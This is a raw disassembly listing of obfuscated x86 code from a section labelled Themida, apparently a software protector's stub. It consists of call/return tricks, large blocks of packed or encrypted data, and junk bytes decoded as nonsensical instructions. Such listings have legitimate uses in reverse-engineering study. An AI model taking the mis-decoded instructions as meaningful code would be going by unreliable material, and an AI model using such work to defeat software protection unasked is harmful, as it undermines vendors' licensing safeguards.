sub_5F2C88 proc near ; CODE XREF: Themida_:005F2C80p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5F2C88 endp
; ---------------------------------------------------------------------------
or dh, [ecx-2FF88FC8h]
jnb short loc_5F2CA6
jmp loc_5F2CB2
; ---------------------------------------------------------------------------
db 0ECh
; ---------------------------------------------------------------------------
loc_5F2CA6: ; CODE XREF: Themida_:005F2C9Ej
ja short near ptr loc_5F2CE7+1
jnp short loc_5F2C7F
std
cmpsd
fldenv byte ptr [ebx+5C7ADB0Ch]
loc_5F2CB2: ; CODE XREF: Themida_:005F2CA0j
lea eax, [ebp+61A6505h]
mov ecx, 252B7108h
push eax
call near ptr loc_5F2CCE+3
cmpsd
aad 41h
pop esi
sub eax, 0B435EED1h
and al, 4Ch
loc_5F2CCE: ; CODE XREF: Themida_:005F2CBEp
lea ecx, [esp+eax+60h]
mov ah, 17h
push edi
pop eax
popa
pop edx
mov [esp], eax
push 0
push ebx
call sub_5F2CE6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F2CE6 proc near ; CODE XREF: Themida_:005F2CDEp
arg_4 = dword ptr 8
pop ebx
loc_5F2CE7: ; CODE XREF: Themida_:loc_5F2CA6j
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5F2CE6 endp
; ---------------------------------------------------------------------------
dw 0EFD0h
dd 33EAFDD6h, 0EAD958Bh, 95FF0613h, 6131179h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 80C35141h, 0D15F096Ah
dd 0ADC59948h, 0FC00B78h, 1184h, 0AD850900h, 0E906130Dh
dd 1A2h, 80D38B66h, 0C56836C5h, 0E9935687h, 7, 0ED8EF2ABh
dd 81D7DA8Bh, 79672404h, 0FFF96CA9h, 130DA995h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 9C9E21Eh, 0BFBAAD7Ch, 8D7FE441h, 1A6505B5h, 0C7D78B06h
dd 6C694606h, 55006A65h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 4C287372h, 20E9FD1h, 11E973F0h, 0DF000000h
dd 0AF087828h, 0C4CA9019h, 0E583FB08h, 312E3BCBh, 6D0446C7h
dd 6A636E6Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 7DD4C351h, 503ABB66h, 6820Fh
dd 85890000h, 6131A2Dh, 6C0846C7h, 89737361h, 130635B5h
dd 0C46C706h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5F2E27
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F2E27 proc near ; CODE XREF: Themida_:005F2E1Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5F2E27 endp
; ---------------------------------------------------------------------------
db 92h
dd 26B96669h, 6A006AE3h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 0B006C351h, 518D8BACh
dd 0F061330h, 858DD6BFh, 61A6505h, 0AD58589h, 0B5900613h
dd 0BB6650C9h, 89907D2Dh, 131DB9B5h, 7995FF06h, 8B061311h
dd 0FC00BD6h, 2E84h, 28B0F00h, 8B000000h, 44E9D3h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0A38339C3h, 0E90C0B7Eh, 0FFFFFAAAh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 0E5C35343h, 0B58DA690h, 6137533h
dd 0C204F781h, 0B81FB8h, 0F5000000h, 6AE6FFh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0BBA910C3h
dd 4D074315h, 0E98166CDh, 8BF501E5h, 0E8C18BCBh, 0Ch, 0ED9FC65Bh
dd 1D0D6612h, 266AA778h, 13799D8Bh, 0F5F0613h, 0C781F1B7h
dd 6C32h, 19B58B51h, 5B06130Ch, 1AD668h, 85896000h, 6130B81h
dd 2E7B8BBBh, 0F586106h, 37FFF7BFh, 59D7BF0Fh, 0CE8h, 91402D00h
dd 0B2A3D782h, 0D433AD8Eh, 0D5E281F9h, 5B471E22h, 34D1E981h
dd 0D68143F3h, 373CABDCh, 4B47C181h, 0B70F4BCBh, 40C181D1h
dd 800077EEh, 8951A9CAh, 13220585h, 66078F06h, 0EF81D78Bh
dd 11FCA05h, 0DE8h, 73939000h, 0B662425Bh, 56A2CADEh, 0B50BC1FBh
dd 61322CDh, 1C7815Bh, 81011FCAh, 1E8h, 12850F00h, 66000000h
dd 23E9F78Bh, 53000000h, 69491559h, 0C14D5359h, 0E932B637h
dd 0FFFFFF6Eh, 0AB70E7Ah, 0A7B5E98Bh, 48E21701h, 2BE47770h
dd 8D8D975Eh, 61A6DCBh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 22C35040h, 0BD8BC78Bh, 6130C71h, 1BBD8D89h
dd 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 67BFBC3h, 29EEDD61h, 858B64A8h, 6131FBDh
dd 18DD85C7h, 5DA80613h, 95890000h, 6133085h, 305585C7h
dd 613h, 0C18A0000h, 2831B5FFh, 0B5890613h, 6131FD1h, 1D8995FFh
dd 6A0613h, 0DA995FFh, 0C08B0613h, 0C06C2FEBh, 0A223BDE8h
dd 844E5035h, 0BF1954B5h, 496875CBh, 7FAFBE46h, 0C69E7368h
dd 0D31BF1A4h, 0A9208144h, 0D4E958EBh, 9B8DB5AFh, 0A592DDFDh
dd 0B1CAFE9Ch, 36A80E93h, 0FC8A4A18h, 0ABA80E90h, 5475EAD5h
dd 3CA80E91h, 0BA8A4A19h, 0E957AE5Dh, 448A4A19h, 0ABA80E96h
dd 0F75EAD5h, 0DFA80E96h, 898A4A1Eh, 59A80E96h, 38A4A1Fh
dd 0ABA80E97h, 2575EAD5h, 3B82D42Fh, 0C0031330h, 52B23FA3h
dd 2A1290A7h, 0D12157B8h, 43907B2Fh, 3B47D42Fh, 0C0031330h
dd 52B23FABh, 35CD90A7h, 0D12157B8h, 43907B3Bh, 2436D42Fh
dd 0C0031330h, 52B23FB7h, 357990A7h, 0D12157B8h, 43907B37h
dd 259FD42Fh, 0C0031330h, 52B23F83h, 340A90A7h, 0D12157B8h
dd 43907B03h, 2569D42Fh, 0C0031330h, 52B23F8Fh, 378890A7h
dd 0D12157B8h, 43907B1Bh, 26EBD42Fh, 0C0031330h, 52B23F97h
dd 37F690A7h, 0D12157B8h, 43907B13h, 5012B8C3h, 0CEDF152Ah
dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5FE4F1C0h, 0A8ED96A4h
dd 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah
dd 0BA415564h, 0CE75EAD5h, 9D3AAE63h, 848C062Bh, 11AB5342h
dd 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h
dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
dd 4162AD6Ch, 660351A2h, 0EE27BFEAh, 2FBFDB2Fh, 94751330h
dd 0D9020112h, 5FF102A0h, 0EC79AEA4h, 41AE51A1h, 4322DC09h
dd 0BA8C0F51h, 0DF103773h, 0C821732Ah, 4ED34628h, 0FD5BEA2Ch
dd 508C152Bh, 52009881h, 0ABAE4BD9h, 0EFD2A5FBh, 0DDA42C89h
dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
dd 0D5F251A2h, 5FE5B1C0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h
dd 0BACC152Ah, 47A14C30h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h
dd 0D9F9FA31h, 5FF102A0h, 0D79AEA4h, 2320949Ah, 328C551Ah
dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
dd 34549521h, 458A15C2h, 0BE290BA2h, 43907AD1h, 0DFA02429h
dd 4D1957h, 54A8515Eh, 0D775532Ah, 52BB58BFh, 0CE19CDA1h
dd 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 5FF102A0h, 0D79AEA4h
dd 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh, 174D6h
dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
dd 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h
dd 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h
dd 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch
dd 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h
dd 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h
dd 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h
dd 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h
dd 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah
dd 0D4A7B222h, 860085E1h, 4322DC08h, 0BA8C0F51h, 0FEF8E173h
dd 3E9D9FA7h, 855757B8h, 6E20D6A0h, 29215DDFh, 174D6h
dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
dd 458A15D6h, 54AFE9A2h, 0D775152Ah, 52BB506Bh, 0C8204526h
dd 4ED34628h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h, 50AC5962h
dd 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
dd 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h
dd 4C9787D5h, 8C2357B1h, 0EF491786h, 2FBFDB2Fh, 94751330h
dd 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h
dd 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh
dd 0F8A851A2h, 5818EA80h, 0DFAE42ABh, 8558B9E2h, 4332DC08h
dd 0BA8C0F51h, 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h
dd 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h
dd 0B9CFD226h, 54A851A2h, 0D775BF86h, 52BB58BFh, 7726DDA1h
dd 0CE25FB63h, 43906E3Dh, 0ECCE825Dh, 0EEECE4AAh, 7F029028h
dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h
dd 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah, 0D903376Bh
dd 5FF102B0h, 327BAEA4h, 234B9592h, 0FE04FD09h, 0CC866801h
dd 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h
dd 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 3E9D8FA7h
dd 875757B8h, 320A09Ah, 0CE25FB0Eh, 43906E3Dh, 0ECCE825Dh
dd 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5FF8D9C0h, 0A8ED96A4h
dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah
dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43907B2Bh, 8C32DCF1h
dd 0BA8C0F44h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
dd 4EC64038h, 0DF07462Ch, 52B23F7Ah, 3C6D5h, 5492B85Eh
dd 3075152Ah, 5CDDAEAEh, 2B978FA7h, 0D9FB57B8h, 5FE4CDB0h
dd 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h
dd 3075195Fh, 7D32DCAAh, 168C0F44h, 3A70CB2Fh, 96751330h
dd 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh
dd 2AE900h, 4C70000h, 24h, 0E800h, 815D0000h, 1A73A8EDh
dd 24448B06h, 0C5858904h, 0B8061304h, 0
; ---------------------------------------------------------------------------
lea ecx, [ebp+6134F8Dh]
jmp ecx
; ---------------------------------------------------------------------------
mov eax, 6754h
jmp short loc_5F36A3
; ---------------------------------------------------------------------------
db 0E0h
; ---------------------------------------------------------------------------
jmp dword ptr [ebx+eax*2]
; ---------------------------------------------------------------------------
db 0Ah
dd 8138BC57h
db 18h, 0DEh, 80h
; ---------------------------------------------------------------------------
loc_5F36A3: ; CODE XREF: Themida_:005F3695j
jmp loc_5F3C2D
; ---------------------------------------------------------------------------
jmp loc_5F3C26
; ---------------------------------------------------------------------------
db 0A0h, 12h, 44h
dd 5CF24466h, 42085C7Eh, 63ED3E64h, 84D05D43h, 0D338F726h
dd 0CAF0CE86h, 0D8FAD87Ah, 0C3E5C583h, 0EFFCDA72h, 28217DF0h
dd 0B7EA16B8h, 0E06CBD8Bh, 6EDA6D51h, 0E56DFBDFh, 71E37254h
dd 54FDEE0h, 8FC11234h, 4E220730h, 0CCF357E9h, 814BAA7Bh
dd 0FE4CE0E2h, 73DB6B6Fh, 0A58D6B54h, 19F1F277h, 0DCE485C9h
dd 0F8694E8Dh, 81C91BC5h, 428C901Ah, 63233E7Ah, 11446344h
dd 109E74B5h, 450B5C7Eh, 0B86D9C24h, 0F1168887h, 9D280FACh
dd 98E77F47h, 745615DFh, 664C6AE0h, 98E978D2h, 4F8A2F55h
dd 6413A8EAh, 5B65EF3Eh, 4363E779h, 4B681E43h, 2FBD8B1Ah
dd 859BCCBh, 0F7D771C6h, 7047ED1h, 39E401C4h, 3BCA9BFAh
dd 0DCC90AC0h, 0AB851C1h, 0D17FD0B5h, 42600180h, 4C6B1B46h
dd 75D41819h, 1EB19986h, 1735882Ah, 70FDC746h, 6DED1C2Dh
dd 0A97A71D3h, 20223317h, 5B71C08Eh, 24AD9831h, 6D2B51EAh
dd 0FCA95F4h, 2BB59D2Bh, 10F4h, 6DE0C700h, 17559F81h, 0C499438Dh
dd 32Bh, 0DE6ABD6Ah, 51F94B8Fh, 69E28C00h, 842226B9h, 592F7FA3h
dd 20BA535Ah, 9D3B22Ch, 85D474C7h, 2963E03Dh, 384DE290h
dd 0ECCBAAA8h, 89D872C6h, 0B092C008h, 0A9912E1Ch, 8C067719h
dd 55109E69h, 81005130h, 15A6A837h, 0BC362A3Bh, 941933Fh
dd 0ECFE3AA9h, 0D7FB06E4h, 0CE00C888h, 0D3F5D57Fh, 5A7CCD85h
dd 89F0820Ah, 0DE28362Ch, 0F6FC0B08h, 0E485E4F3h, 1211E0C7h
dd 0A6922403h, 231CCF1Eh, 0FA661B04h, 61507DB2h, 24C496F0h
dd 0B63E5FFAh, 0A533DF5Ch, 0BC310EADh, 0FA24C562h, 0B898272Bh
dd 0E6C10FD9h, 9Ah, 0C5BBA34Ch, 4DFF5274h, 0BC9C496Eh
dd 7B2A4B7Ch, 0EB3D6371h, 237F0E5Fh, 65109E9Bh, 50E48E2Bh
dd 66F6DCFAh, 0E8795DECh, 1082D564h, 1B79C77Bh, 9E9B70EAh
dd 0B5D43910h, 0ADA53315h, 292BBA9Ch, 3513A88Ah, 8CDBE524h
dd 633C6358h, 0EB40AD57h, 2FCC468Eh, 0BD1D3583h, 37064E9Bh
dd 0B1DD310Fh, 79DB6A18h, 1567C59h, 85B7D47h, 253C6340h
dd 55E9EF11h, 0F988D7E1h, 109E3F98h, 0BF2E11CEh, 109E4063h
dd 0A5DFE92Ch, 7FC95E14h, 66E87A60h, 7D608F41h, 4CC5BFEh
dd 6ABD7CD6h, 6A508FDEh, 6A6C74D6h, 2D1BB0D5h, 7B15FD4Ch
dd 696E59FEh, 0CC29F50h, 2D82D41Ch, 0F6470558h, 280D3097h
dd 26E7ACFFh, 71F46747h, 0B8109DD5h, 41C6D3A0h, 0CE8AB5A3h
dd 0E4FE3A31h, 0F45EEED0h, 0FF1FB5ECh, 0A389FFFFh, 7AEBC8BEh
dd 168EA18Fh, 2441578h, 203D9DAFh, 63E3AB3Ah, 98A59DF2h
dd 80015031h, 89C31638h, 484596B8h, 293859F7h, 37A689B6h
dd 0A8A28DBh, 2D5761A4h, 59C4EB9Ch, 1469B31Bh, 0DC6D5F69h
dd 0DD705270h, 0C0E23CB1h, 6AAB0A89h, 75679F45h, 0CAAB6A2Fh
dd 278B0A7Bh, 85030A8Ah, 61EB3EF4h, 0B8CE5F41h, 233569D3h
dd 8FDEBF36h, 714E3831h, 7A9BFDFCh, 7BCC0E10h, 640584D5h
dd 671F4A46h, 62486748h, 0ABEA7BCDh, 769B60BAh, 0DCE42904h
dd 60AE00ADh, 55E4290Ah, 4C6ADE71h, 0BD194C6Bh, 86FE5C26h
dd 489BBD07h, 5DC03100h, 2F436269h, 0DE38AD8Ah, 0A7B91DE4h
dd 2C3D15A3h, 0CA448CEDh, 1A2E8131h, 0C4696BCh, 82C6193Dh
dd 0EB60AAB3h, 0C1DAF3C1h, 0C55B0Bh, 0BDFF0000h, 0DDC2E16Dh
dd 0ACE10433h, 109DCE32h, 0B0359AFBh, 0C380682Eh, 0F364DB80h
dd 2B0C4A92h, 4E96B607h, 3492B80Ch, 3393BD0Eh, 3694C00Dh
dd 4BC73619h, 14109E71h, 7148C233h, 8C11109Eh, 0D87CC9EDh
dd 226FBE10h, 2A0C193h, 0E4C29020h, 0FFDF69BEh, 0E6C488D9h
dd 0D45CDEC9h, 76F99EB0h, 9E5B8B07h, 50315410h, 5221C66Bh
dd 7E46A684h, 26810D5Ch, 0A791F67Dh, 0E20D5C3Dh, 0A7634C8Bh
dd 116961C4h, 0F041935Dh, 95D70D5Ch, 15488724h, 109DF3B9h
dd 1B593D82h, 51E072C2h, 75D88B30h, 3A18A80Ah, 0FF6E7B5Bh
dd 0E466FAE0h, 8F01DCh, 0DD5D0000h, 9DB535AEh, 61467310h
dd 0FFE1BC33h, 7F09D380h, 0BD32300Ah, 0E4C1E16Dh, 50E16BBEh
dd 13A5A731h, 0E5983771h, 7A1B3BBFh, 6BE5765Ch, 0E796634Ch
dd 36D7DA72h, 6B059EFFh, 0A9066744h, 9E50DA34h, 5A62A310h
dd 4D07567Ch, 0FE6F506Dh, 109E50A4h, 74C583D8h, 0B0044615h
dd 2B4ACB9Ah, 3222AFA1h, 341EAE94h, 4391B996h, 15DF3E0Fh
dd 0FAD870C3h, 0E7C785D8h, 14C8h, 5E7B6600h, 0B4920C81h
dd 87C3109Dh, 9F2F81DEh, 677194A3h, 0E571BDEDh, 6DDF7254h
dd 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h
dd 0AF9B2D11h, 242ABC9Eh, 0EC812215h, 4, 89240489h, 405E0h
dd 0E8830000h, 24048704h, 285F685Ch, 4890000h, 44396824h
dd 34890000h, 0D8BF5724h, 0C1604907h, 0F78107E7h, 17F8042Ah
dd 8104E7C1h, 0E3F27E7h, 14CF813Ah
; ---------------------------------------------------------------------------
loc_5F3BDC: ; CODE XREF: Themida_:005F3C36j
dec esi
test al, 63h
xor edi, 75B43DD7h
mov eax, edi
mov edi, [esp]
add esp, 4
push esp
mov esi, [esp]
add esp, 4
push ecx
mov ecx, 8
sub ecx, 614C4101h
add ecx, esi
add ecx, 614C4101h
mov [ecx], eax
pop ecx
push dword ptr [esp]
pop esi
add esp, 4
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_58442C
; ---------------------------------------------------------------------------
db 0E2h, 0FCh
; ---------------------------------------------------------------------------
loc_5F3C26: ; CODE XREF: Themida_:005F36A8j
mov eax, 61A78D0h
add eax, ebp ; CODE XREF: Themida_:005F3C34j
loc_5F3C2D: ; CODE XREF: Themida_:loc_5F36A3j
mov edx, ebx
push ebp
in eax, dx
std
jnz short loc_5F3C92 ; CODE XREF: Themida_:005F3C9Aj
jp short near ptr loc_5F3C2B+1
jbe short loc_5F3BDC
imul esp, esi, 0FD49BC56h
sub [ebx-257102DBh], cl
and eax, 25CDCFFDh
std
sub eax, 1FFD2547h
and byte ptr ds:2560F5FDh, 0FDh
rcl byte ptr [ecx], cl
and eax, 25A9B3FDh ; CODE XREF: Themida_:005F3CCAj
std
scasb
cmc
and eax, 25DAD5FDh
std
mov ds:7FD25CDh, al
loc_5F3C6B: ; CODE XREF: Themida_:005F3C9Ej
; Themida_:005F3CAEj
cmp ds:258360FDh, esp
std
inc ecx
popa
and eax, 251022FDh
std
out dx, al
xlat
and eax, 258B32FDh
std
popf
and eax, 2295358Ah
mov ds:714A76D6h, al ; CODE XREF: Themida_:005F3CBEj
; Themida_:005F3CCEj
ficomp word ptr [ebp+edi*4+4Bh] ; CODE XREF: Themida_:005F3C98j
loc_5F3C91: ; CODE XREF: Themida_:005F3CA2j
hlt
; ---------------------------------------------------------------------------
loc_5F3C92: ; CODE XREF: Themida_:005F3C32j
pop esp
loc_5F3C93: ; CODE XREF: Themida_:005F3C94j
pop edx
jp short loc_5F3C93
jnz short near ptr loc_5F3CBE+1
jb short near ptr loc_5F3C8D+2
jnz short near ptr loc_5F3C32+1 ; CODE XREF: Themida_:005F3C9Cj
; Themida_:005F3CA4j ...
jns short near ptr loc_5F3C9A+1
jz short loc_5F3C6B ; CODE XREF: Themida_:005F3CA0j
js short near ptr loc_5F3C9E+1
jnb short loc_5F3C91
jge short near ptr loc_5F3C9A+1
loc_5F3CA6: ; CODE XREF: Themida_:loc_5F3CA8j
jz short near ptr loc_5F3C9A+1
loc_5F3CA8: ; CODE XREF: Themida_:loc_5F3CC2j
jnp short loc_5F3CA6
loc_5F3CAA: ; CODE XREF: Themida_:005F3CACj
jz short loc_5F3D24
jnp short loc_5F3CAA
jnz short near ptr loc_5F3C6B+1 ; CODE XREF: Themida_:005F3CB0j
jp short near ptr loc_5F3CAE+1
jnz short near ptr loc_5F3D11+1 ; CODE XREF: Themida_:005F3CB4j
jp short near ptr loc_5F3CB2+1
jbe short near ptr loc_5F3CDB+2
cmc
mov ds:0A3EAA375h, eax ; CODE XREF: Themida_:loc_5F3CC6j
loc_5F3CBE: ; CODE XREF: Themida_:005F3C96j
; Themida_:005F3CC0j
jnz short near ptr loc_5F3C88+3
jp short near ptr loc_5F3CBE+1
loc_5F3CC2: ; CODE XREF: Themida_:005F3CC4j
jnz short loc_5F3CA8
jnp short loc_5F3CC2
loc_5F3CC6: ; CODE XREF: Themida_:005F3CC8j
jz short near ptr loc_5F3CB9+2
jnp short loc_5F3CC6
jz short near ptr loc_5F3C58+4
mov dl, 0F8h
jnz short near ptr loc_5F3C88+4
sbb dh, [eax-10h]
and eax, [edi]
out 73h, eax
cmpsb
dec dword ptr [ecx+0Ch]
loc_5F3CDB: ; CODE XREF: Themida_:005F3CB6j
lea edi, [eax+esi*2-10h]
pop eax
pop es
out 73h, eax
insb
dec dword ptr [ecx+707CE80Ch]
lock test al, 7
out 73h, eax
xor eax, 440C4DFFh
jl short near ptr loc_5F3D65+1
lock push ds
pop es
out 73h, eax
push ds
inc dword ptr [ebp+707CD10Ch]
lock adc eax, 7B73E706h
inc dword ptr [ecx+707C630Ch]
lock xor al, [ecx]
loc_5F3D11: ; CODE XREF: Themida_:loc_5F3CB2j
out 73h, eax
xlat
; ---------------------------------------------------------------------------
dd 350C7DFFh, 37F0707Ch
; ---------------------------------------------------------------------------
loc_5F3D1C: ; CODE XREF: Themida_:005F3D2Aj
add edi, esp
jnb short loc_5F3D62
; ---------------------------------------------------------------------------
dd 0FF0C79FFh
; ---------------------------------------------------------------------------
loc_5F3D24: ; CODE XREF: Themida_:loc_5F3CAAj
jl short loc_5F3D96
lock inc esp
add edi, esp
jnb short loc_5F3D1C
push dword ptr [ebp+0Ch]
cmpsb
jl short loc_5F3DA2
lock dec edi
push es
out 73h, eax
cmpsb
jmp fword ptr [ecx+0Ch]
; ---------------------------------------------------------------------------
db 8Dh
; ---------------------------------------------------------------------------
jl short loc_5F3DAE
loc_5F3D3E: ; CODE XREF: Themida_:loc_5F3D96j
lock push ss
add edi, esp
jnb short loc_5F3DB0
push dword ptr [ecx+0Ch]
call near ptr 864FADC8h
add edi, esp
jnb short loc_5F3D85
jmp fword ptr [ebp+0Ch]
; ---------------------------------------------------------------------------
db 44h
dd 3EF0707Ch, 1E73E706h, 0D10C69FFh
; ---------------------------------------------------------------------------
jl short loc_5F3DD2
loc_5F3D62: ; CODE XREF: Themida_:005F3D1Ej
lock scasb
push es
loc_5F3D65: ; CODE XREF: Themida_:005F3CF4j
out 73h, eax
jnp short near ptr loc_5F3D67+1 ; CODE XREF: Themida_:loc_5F3D67j
pop ecx
or al, 63h
jl short near ptr loc_5F3DDC+2
lock setalc
push es
out 73h, eax
xlat
call dword ptr [ebp+0Ch]
loc_5F3D77: ; CODE XREF: Themida_:loc_5F3D85j
xor eax, 1AF0707Ch
push es
out 73h, eax
inc edx
call dword ptr [ecx+0Ch]
; ---------------------------------------------------------------------------
db 0FFh
db 7Ch
; ---------------------------------------------------------------------------
loc_5F3D85: ; CODE XREF: Themida_:005F3D4Ej
jo short loc_5F3D77
loc_5F3D87: ; CODE XREF: Themida_:005F3DEDj
and al, 6
out 73h, eax
lock jmp dword ptr [ebp+0Ch]
; ---------------------------------------------------------------------------
db 0A6h
dd 53F0707Ch
; ---------------------------------------------------------------------------
loc_5F3D94: ; CODE XREF: Themida_:loc_5F3DF2j
pop es
; ---------------------------------------------------------------------------
db 0E7h
; ---------------------------------------------------------------------------
loc_5F3D96: ; CODE XREF: Themida_:loc_5F3D24j
; Themida_:005F3DCEj
jnb short loc_5F3D3E
jmp dword ptr [ecx+0Ch]
; ---------------------------------------------------------------------------
db 8Dh
; ---------------------------------------------------------------------------
loc_5F3D9C: ; CODE XREF: Themida_:005F3DACj
jl short near ptr loc_5F3E0D+1
lock arpl [edi], ax
; ---------------------------------------------------------------------------
db 0E7h
; ---------------------------------------------------------------------------
loc_5F3DA2: ; CODE XREF: Themida_:005F3D30j
jnb short loc_5F3E10
call fword ptr [ebp+0Ch]
call near ptr 654FB428h
jnb short loc_5F3D9C
loc_5F3DAE: ; CODE XREF: Themida_:005F3D3Cj
jnb short loc_5F3DE5
loc_5F3DB0: ; CODE XREF: Themida_:005F3D42j
call dword ptr [eax]
or al, 44h
jl short loc_5F3E2C
lock out 7Bh, al
out dx, al
jnb short near ptr loc_5F3DD9+1
dec dword ptr [esp+ecx]
sar dword ptr [esp+ebx*4-4Ah], 1
mov al, 0F1h
adc [ebp+75FD7AF2h], ebx
and edi, ebx
pop ss
jz short near ptr loc_5F3D96+1 ; CODE XREF: Themida_:005F3DFEj
; Themida_:loc_5F3E10j
pusha
sti
loc_5F3DD2: ; CODE XREF: Themida_:005F3D60j
and eax, 0FDF53FD5h
lodsd
xchg eax, esi
loc_5F3DD9: ; CODE XREF: Themida_:005F3DBAj
test [edi-6Fh], ch
loc_5F3DDC: ; CODE XREF: Themida_:005F3D6Cj
and dh, [edi+esi*4]
iret
; ---------------------------------------------------------------------------
dd 0B723AC7Ah
db 29h
; ---------------------------------------------------------------------------
loc_5F3DE5: ; CODE XREF: Themida_:loc_5F3DAEj
lodsd
and [edx], bl ; CODE XREF: Themida_:005F3DE8j
jp short near ptr loc_5F3DE6+1
jnz short loc_5F3E65
daa
jl short loc_5F3D87
sahf
add edi, esp
loc_5F3DF2: ; CODE XREF: Themida_:005F3E50j
; Themida_:005F3E5Aj
jnb short loc_5F3D94
dec dword ptr [esi+7D7C350Ch]
enter 3E4h, 0E7h
jnb short near ptr loc_5F3DCE+1 ; CODE XREF: Themida_:005F3E2Ej
or [ebp+eax*8-4AB48A1Ch], esi
stc
mov edx, 0EF863589h
loc_5F3E0D: ; CODE XREF: Themida_:loc_5F3D9Cj
or al, 0Ch
cmpsb
loc_5F3E10: ; CODE XREF: Themida_:loc_5F3DA2j
jl short near ptr loc_5F3DCE+1
; ---------------------------------------------------------------------------
dw 96FEh
; ---------------------------------------------------------------------------
sub eax, [ebp+7Ah]
loc_5F3E17: ; CODE XREF: Themida_:005F3E18j
das
jp short loc_5F3E17
mov al, [edx]
mov eax, [edi+ebp*2+148F7CDh]
pushf
pusha
sti
clc
mov ah, 50h
popf
loc_5F3E2B: ; CODE XREF: Themida_:loc_5F3E2Cj
dec ebx
loc_5F3E2C: ; CODE XREF: Themida_:005F3DB4j
jle short loc_5F3E2B
jnz short near ptr loc_5F3DFE+1
outsd
inc ebp
jbe short loc_5F3E92 ; CODE XREF: Themida_:005F3E34j
jp short near ptr loc_5F3E32+1
mov bh, [edx-6E907B75h]
test dword ptr [eax+1], 0F8FB60B2h
sar esp, 1
push eax
mov ah, [edx]
and ebx, [edi]
loc_5F3E4A: ; CODE XREF: Themida_:005F3E6Ej
mov esp, 0C8EF787h
cmpsb
jl short loc_5F3DF2
sub eax, 2CA32005h
in al, dx
xchg eax, edx
insd
ja short near ptr loc_5F3DF2+1
jp short loc_5F3EAB
int 0C1h ; used by BASIC while in interpreter
jns short loc_5F3EB9
mov dh, [eax-69h]
loc_5F3E65: ; CODE XREF: Themida_:005F3DEAj
test [edi-0Ch], ch
sar dword ptr [esi], 1
popf
